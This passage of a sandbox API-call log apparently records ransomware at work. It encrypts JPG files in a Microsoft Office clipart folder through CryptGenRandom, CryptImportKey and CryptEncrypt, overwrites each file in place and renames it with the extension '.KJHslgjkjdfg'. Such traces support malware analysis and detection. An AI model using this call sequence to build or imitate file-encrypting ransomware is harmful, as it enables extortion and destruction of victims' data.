dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0201.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.559] GetProcessHeap () returned 0x990000 [0201.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.559] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.559] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0201.561] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.561] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.561] GetProcessHeap () returned 0x990000 [0201.561] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.561] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.561] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.561] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.561] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.561] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.561] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.561] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.562] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2cdd, lpOverlapped=0x0) returned 1 [0201.562] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ce0, dwBufLen=0x2ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ce0) returned 1 [0201.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ce0, lpOverlapped=0x0) returned 1 [0201.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.563] SetEndOfFile (hFile=0x130) returned 1 [0201.565] GetProcessHeap () returned 0x990000 [0201.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.565] GetProcessHeap () returned 0x990000 [0201.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.kjhslgjkjdfg")) returned 1 [0201.567] CloseHandle (hObject=0x130) returned 1 [0201.567] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0201.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.567] GetProcessHeap () returned 0x990000 [0201.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.568] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.568] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0201.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.570] GetProcessHeap () returned 0x990000 [0201.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.570] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.570] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.570] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.570] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.570] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.571] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.571] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.571] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c6d, lpOverlapped=0x0) returned 1 [0201.572] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c70) returned 1 [0201.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c70, lpOverlapped=0x0) returned 1 [0201.572] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.572] SetEndOfFile (hFile=0x130) returned 1 [0201.574] GetProcessHeap () returned 0x990000 [0201.574] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.574] GetProcessHeap () returned 0x990000 [0201.574] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.kjhslgjkjdfg")) returned 1 [0201.576] CloseHandle (hObject=0x130) returned 1 [0201.576] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0201.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.577] GetProcessHeap () returned 0x990000 [0201.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.577] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.579] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.579] GetProcessHeap () returned 0x990000 [0201.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.579] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.579] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.579] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.579] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.579] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.580] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.580] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.580] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.580] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ad8, lpOverlapped=0x0) returned 1 [0201.581] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0) returned 1 [0201.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.581] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ae0, lpOverlapped=0x0) returned 1 [0201.581] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.581] SetEndOfFile (hFile=0x130) returned 1 [0201.584] GetProcessHeap () returned 0x990000 [0201.584] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.584] GetProcessHeap () returned 0x990000 [0201.584] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.kjhslgjkjdfg")) returned 1 [0201.585] CloseHandle (hObject=0x130) returned 1 [0201.585] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0201.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.586] GetProcessHeap () returned 0x990000 [0201.586] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.587] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.587] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.589] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.589] GetProcessHeap () returned 0x990000 [0201.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.589] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.589] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.589] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.589] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x52c3, lpOverlapped=0x0) returned 1 [0201.591] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x52d0) returned 1 [0201.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.591] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x52d0, lpOverlapped=0x0) returned 1 [0201.591] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.591] SetEndOfFile (hFile=0x130) returned 1 [0201.594] GetProcessHeap () returned 0x990000 [0201.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.594] GetProcessHeap () returned 0x990000 [0201.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.kjhslgjkjdfg")) returned 1 [0201.595] CloseHandle (hObject=0x130) returned 1 [0201.595] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0201.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.597] GetProcessHeap () returned 0x990000 [0201.597] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.597] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.597] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0201.599] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.599] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.599] GetProcessHeap () returned 0x990000 [0201.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.599] CryptEncrypt (in: 